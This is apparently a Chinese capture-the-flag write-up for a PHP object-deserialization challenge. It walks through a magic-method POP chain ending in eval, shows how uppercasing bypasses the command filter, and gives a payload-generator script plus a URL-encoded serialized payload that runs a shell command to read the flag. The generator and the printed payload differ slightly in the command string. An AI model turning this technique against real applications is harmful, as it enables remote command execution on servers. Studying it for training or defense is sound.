
一、访问网站

二、分析代码
头:$ser
触发__call:TianXiWei->__wakeup() $ext=new Ilovetxw
触发__set:Ilovetxw->$huang=new four
触发__tostring:four->$a=new Ilovetxw four->$fun="sixsixsix"
触发__invoke:Ilovetxw->$su=new NISA->__invoke()
尾:NISA->__invoke()->eval($this->txw4ever) $txw4ever="system('cat flag.php')"
strtolower() 将字符串中的所有大写字母转换为小写字母
__invoke() 当脚本尝试将对象调用为函数时触发
__set() 用于将不可访问或者未定义的属性赋值时触发
__call() 在对象上下文中调用不可访问或者不存在的方法时触发
__wakeup() 使用unserialize时触发
__tostring() 把对象当作字符串使用时触发
解题思路:
1.找到头和尾:
头是参数ser,尾是eval函数,可以利用这个txw4ever属性,来调用系统函数实现命令执行
2.调用eval函数:
需要触发__invoke函数,__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的
找到$bb(),它对应的参数是su,且在类Ilovetxw里,此时$su=new NISA

3.调用$bb():
需要触发__tostring函数,__tostring()把对象当作字符串使用时触发
找到strtolower函数,该函数是将字符串转换成小写
strtolower函数的参数是$a,让$a=new Ilovetxw,$fun="sixsixsix"

4.调用strtolower函数:
需要触发__set函数,__set()用于将不可访问或者未定义的属性赋值时触发,需要查找赋值语句
因为four类的fun为私有属性,让$huang=new four

5.调用赋值语句:
需要触发__call函数,__call()在对象上下文中调用不可访问或者不存在的方法时触发
让$ext=new Ilovetxw

6.过滤绕过
hint函数会输出一些东西,需要绕过,只需要if不成立就行

checkcheck函数对eval的参数进行过滤,尝试使用大写绕过
public $txw4ever = 'System("cat /f*");';
三、生成payload
<?php
class NISA{
public $fun="666";
public $txw4ever = 'System("cat /f*");';
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
}
class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
}
$n = new NISA();
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
payload:
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22666%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22SYSTEM%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
四、获取flag
输入payload,成功获得flag

总结
-
构造POP链:找到头和尾,再通过尾找到头
-
魔术方法:
__invoke()当脚本尝试将对象调用为函数时触发
__set()用于将不可访问或者未定义的属性赋值时触发
__call()在对象上下文中调用不可访问或者不存在的方法时触发
__wakeup()使用unserialize时触发
__tostring()把对象当作字符串使用时触发 -
strtolower()将字符串中的所有大写字母转换为小写字母